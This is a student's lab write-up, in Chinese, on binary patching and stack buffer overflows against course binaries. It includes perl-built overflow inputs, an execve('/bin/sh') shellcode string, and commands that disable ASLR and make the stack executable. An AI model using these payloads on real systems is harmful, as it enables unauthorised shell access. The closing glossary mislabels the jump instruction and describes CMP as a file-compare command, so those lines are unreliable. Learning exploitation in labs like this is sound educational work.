逆向及Bof基础实践
实践基础知识
管道命令： 能够将一个命令的执行结果经过筛选，只保留需要的信息。
cut：选取指定列。
按指定字符分隔：只显示第n
列的数据cut -d '分隔符' -f n
选择特定范围内的数据
cut -c 起始字符的下标-结束字符的下标
grep：关键词搜索指定行。
- grep [-参数] ‘关键词’ 文件
从指定文件中将符合关键词的行搜索出来（没用到管道）
- 命令 | grep [-参数] ‘关键词’
前一个命令的执行结果输出给grep，并通过grep的关键词搜索将符合条件的行搜索出来。
sort：排序
- sort [-参数] 文件
将文件中的数据按照指定字段排序
- 命令 | sort [-参数]
使用管道，将前一个命令执行的结果按照指定字段进行排序。
wc：统计字数、行数、字符数
- 命令 | wc [-参数]
输入输出重定向：
command > file //将输出重定向到 file。
command < file //将输入重定向到 file。
command >> file //将输出以追加的方式重定向到 file。
n > file //将文件描述符为 n 的文件重定向到 file。
n >> file //将文件描述符为 n 的文件以追加的方式重定向到 file。
EIP： 用来存储CPU要读取指令的地址，CPU通过EIP寄存器读取即将要执行的指令。每次CPU执行完相应的汇编指令之后，EIP寄存器的值就会增加。
实践内容
直接修改程序机器指令，改变程序执行流程
先对pwn1进行复制备份——
cp pwn1 pwn5229执行命令
objdump -d pwn5229 | more对pwn5229文件进行反汇编。从上图得知，main函数中地址为80484b5的
call 8048491指令调用处于地址8048491处的foo函数，该汇编指令的机器指令为e8 d7 ff ff ff，e8为“跳转”foo函数和getshell的地址偏移量=8048491-804847d=14。
想让main函数调用getshell，须将
d7 ff ff ff改为c3 ff ff ff（d7-14=c3）- 用vi打开文件，输入
%!xxd将文件改为十六进制文件。 输入
/e8d7找到要修改的内容 ，对其进行修改，再用%！xxd -r将文件转换为原来的二进制，保存退出。
对文件反汇编，查看call指令是否掉用的是getshell
运行文件，得到shell提示符。
通过构造输入参数，造成BOF攻击，改变程序执行流
- pwn2这个文件正常运行下调用foo函数，这个函数有Buffer overflow漏洞。在于，输入的字符超出系统所先预留的缓冲区后，超出的部分会溢出。
- 使用
gdb对文件进行调试 输入
1111111122222222333333334444444455555555后，会发现eip中的值为5，将字符串修改为1111111122222222333333334444444412345678后，1234这4个字节溢出到返回地址- 将这4个字节替换为 getShell 的内存地址，输给pwn2文件，该文件就能运行getshell
getshell的内存地址之前已得出
- 确定将
12345678改为\x7d\x84\x04\x08 输入命令
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input用16进制查看指令
xxd查看input文件内容
- 使用管道符
|，作为pwn2的输入。 (cat input; cat) | ./pwn2
反观老师给出的两个空
这里读入字符串，但系统只预留了__字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址
上面的call调用foo,同时在堆栈上压上返回地址值:__________
通过计算，第一个空为28，第二个空为80484ba
注入Shellcode并执行
shellcode： 实际是一段代码（也可以是填充数据），是用来发送到服务器利用特定漏洞的代码，一般可以获取权限。一般是作为数据发送给受攻击服务器的，是溢出程序和蠕虫病毒的核心。
- 修改一下设置
root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0
- Linux下有两种基本构造攻击buf的方法：
retaddr+nop+shellcode
nop+shellcode+retaddr
但我们选择retaddr+nop+shellcode结构进行攻击buf，nop一是为了填充，二是作为“着陆区”。
perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(\x4\x3\x2\x1是将覆盖到堆栈上的返回地址的位置)
打开终端注入这段攻击：
- 打开另一个终端，用gdb进行调试
首先是找到pwn1的进程号：
然后调试这个进程
通过设置断点，来查看注入buf的内存地址
使用x/16x 0xffffd3bc，看到了0x01020304，根据之前选择的retaddr+nop+shellcode，地址为0xffffd3c0
将之前的\x4\x3\x2\x1更改，注入，查看，执行程序pwn1，攻击成功。
实验中遇到的问题及解决
1.在安装execsack时和运行pwn1时，无法安装。
按照老师给的64位Kali无法顺利执行pwn1问题的解决方案链接进行安装，在使用
apt-get updata时一直出现以下问题
然后直接输入
apt-get upgrade进行安装，执行apt-get install lib32ncurses5时，出现以下问题，重启虚拟机后，无法apt-get clean，被锁住了
- 将
/var/cache/apt/archives/lock删除后，成功运行，并且能够装execstack
实验总结及感想
上学期娄老师的作业中有一项也是在实验楼上做缓冲溢出攻击，但当时我选择在虚拟机上做，结果把ubuntu做崩了，为了修复虚拟机，我并没有认真的将整个实验弄懂。通过做这次实践，返回去将自己的博客看了一遍，发现两个实验原理大致都相同，同时也收获了很多
漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，所以攻击者能够在未授权的情况下通过漏洞进行访问或破坏系统。如果系统存在漏洞，攻击者就会通过网络植入木马、病毒等攻击整台电脑，窃取信息等；如果网站存在漏洞，网站可能被攻击者恶意操作、篡改，还可能将用户信息泄漏等。
NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。NOP指令会占用执行一个指令的CPU时间片。（机器码：90）
JNE:条件转移指令，如果不相等则跳转。（机器码：75）
JE:条件转移指令，如果相等则跳转。（机器码：74）
JNP:无条件的转移到指令指定的地址去执行从该地址开始的命令。段内直接短转Jmp short（机器码：EB）段内直接近转移Jmp near（机器码：E9）段内间接转移Jmp word（机器码：FF）段间直接(远)转移Jmp far（机器码：EA）
CMP:比较指令，cmp 命令比较 File1 和 File2 参数指定的文件，并将结果写到标准输出。